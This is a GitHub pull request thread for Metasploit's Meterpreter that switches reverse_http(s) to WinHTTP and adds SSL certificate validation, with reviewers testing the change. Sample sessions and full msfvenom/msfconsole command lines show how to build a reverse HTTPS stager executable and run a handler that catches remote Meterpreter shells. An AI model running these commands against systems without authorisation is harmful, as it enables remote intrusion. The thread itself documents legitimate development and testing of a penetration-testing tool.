Implement WinHTTP support for reverse_http(s) and SSL certificate validation

[OJ]

Overview

This PR implements new reverse_http(s) that works over the WinHTTP API instead of WinINET. The goal was to allow for the support of SSL certificate validation in the same way as @hmoore-r7's approach in the stagers.

This MSF side of this PR can be found here: https://github.com/rapid7/metasploit-framework/pull/4962

The code includes the following changes:

• Use of an #ifdef to allow for the swapping between WinHTTP and WinINET. This means that we can go back to the way things were if do happen to have any issues. Longer term, we'll remove the WinINET implementation completely.
• Modification of the global vars to use wchar_t instead of char. This is due to the fact that the WinHTTP libs need it.
• Modification of the metsrv project so that it builds with UNICODE instead of MULTIBYTE chars. Given that we're heading that way in general and that the APIs for WinHTTP required it, it seemed like a good thing to do.
• Some API calls were modified to there A equivalence to reduce the impact of moving over to UNICODE. (eg. the use of LoadLibraryA instead of LoadLibrary).
• Adding a "verbose" debug print feature on the Windows meterpreter called vdprintf. This has a lot more debug output that I was using for debugging the API calls. This means that DEBUGTRACE can be defined as 0 for normal debugging output and 1 for verbose logging output. As before, if this is commented out, there's no debug output at all.
• Various bits of code reformatting (ie. what happens in the VS IDE as I'm going along).

It's worth noting that I had to explicitly prevent precompiled headers for the file that contains the WinHTTP implementation. This is because I was in file include hell and the precompiled headers weren't helping at all. This is a minimal increase in build time and shouldn't matter long term. When we're doing with WinINET we'll be fixing this up anyway. The issue revolves around including both WinINET and WinHTTP headers in the same blocks of code (ie. macro-redefinition hell).

Verification

• [x] All the existing staged payloads (meterpreter/reverse_tcp, meterpreter/reverse_https, meterpreter/reverse_http, meterpreter/bind_tcp), stageless payloads (meterpreter_reverse_tcp, meterpreter_reverse_https, meterpreter_bind_tcp) on each arch (Win x86, Win x64, POSIX) should work as they did. Yeah, sorry about that. They do need to be tested. Please don't hate me.
• [x] Using StagerVerifySSLCert and HandlerSSLCert values with the staged https payload should function the same as the did, as the stager hasn't been changed and the payload won't even get to execute if the SSL certs doesn't match.
• [x] When using StagerVerifySSLCert and HandlerSSLCert with staged payloads, establish a valid connection, and then terminate MSF and reconfigure it so that it doesn't use a valid certificate. Restart MSF, and the payload should connect as an orphaned shell. At this point, Meterpreter should see that the SSL certificate isn't valid, and bail out.
• [x] When using StagerVerifySSLCert and HandlerSSLCert with stageless payloads, the payload should function as with the stageless version as far as up-front validation is concerned, and continued validation when the server changes. When the session is killed because of an invalid cert, the process itself should terminate cleanly.

Compile the binaries with debugging if you want to see validation happening as it runs.

Sample runs

Stageless Win32 with valid cert:

msf exploit(handler) > set HandlerSSLCert /home/oj/ssl/10.1.10.40.combined.pem
HandlerSSLCert => /home/oj/ssl/10.1.10.40.combined.pem
msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000/
[*] Starting the payload handler...
[*] 10.1.10.35:52012 Request received for /TPfX_6G1LAu1DZUqLziIk/...
[*] Incoming orphaned or stageless session TPfX_6G1LAu1DZUqLziIk, attaching...
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:52012) at 2015-03-20 13:19:20 +1000

meterpreter > getuid
Server username: WIN-S45GUQ5KGVK\OJ
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.1.10.35 - Meterpreter session 1 closed.  Reason: User exit

Stageless Win32 with invalid cert:

msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000/
[*] Starting the payload handler...
[*] 10.1.10.35:52010 Request received for /TPfX_6G1LAu1DZUqLziIk/...
[*] Incoming orphaned or stageless session TPfX_6G1LAu1DZUqLziIk, attaching...
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:52010) at 2015-03-20 13:17:50 +1000

meterpreter > getuid
[-] Unknown command: getuid.
meterpreter > exit

[*] 10.1.10.35 - Meterpreter session 1 closed.  Reason: User exit

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/160/ Test PASSED.

[hdm]

This looks pretty solid here from a diff point of view, but could use some help from @bcook-r7 to verify it.

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/161/ Test PASSED.

[metasploit-public-bot]

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/162/ Test PASSED.

[bcook-r7]

Taking a look now.

[bcook-r7]

So, to make sure I comprehend this correctly, just metsrv switches to a Unicode build, the extensions stay as multi byte.

[bcook-r7]

These worked without a hitch: windows/meterpreter/reverse_tcp windows/meterpreter/reverse_http windows/meterpreter/reverse_https windows/meterpreter/reverse_winhttp windows/meterpreter/reverse_winhttps windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_tcp

[bcook-r7]

POSIX looks good still :) The bind stagers are fine as well.

[bcook-r7]

stageless variants are good as well

[OJ]

Correct, I didn't change the project setting to Unicode for any other project except metsrv. I'll probably do that as a separate PR rather than pollute this one. It just felt like doing it for metsrv now for with this PR. From memory, kiwi and mimikatz already are Unicode.

[OJ]

I'll be online shortly, let me know if you are still seeing issues with x64.

[bcook-r7]

No, x64 is fine. It was just that x64 reverse_tcp appears to exit a little more quickly than the others if the handler is not running when it starts, which lead to some connection failures.

[OJ]

Phew!

[bcook-r7]

Hmm, having trouble with this one: Stager generated like so:

./msfvenom -p windows/meterpreter/reverse_winhttps HandlerSSLCert=./correct.pem StagerVerifySSLCert=true -f exe -o mytest/verify-https.exe

Running console twice like this:

./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST 192.168.56.1; set HandlerSSLCert correct.pem; set StagerVerifySSLCert true; set ExitOnSession false; run -j'

I'm seeing connect on the first run, then nothing on the second console run. Should I have seen a reconnect of an orphaned session?

[OJ]

This does not a happy OJ make! Investigating now.

[bcook-r7]

The staged verifiers work well once I got framework synced properly with the bins. Things are too robust!

[OJ]

I should have mentioned this in the original PR, sorry! Binaries are back-compat in this case, but not forward compat. So:

• Old MSF + new bins == fine
• New MSF + old bins == not so fine

[bcook-r7]

OK, stageless verifying meterpreters look good too.

[OJ]

Hooray!

[OJ]

Thanks for your efforts @bcook-r7 !

[bcook-r7]

Sorry for the scares - lots of moving parts.

[OJ]

No apologies needed at all :+1: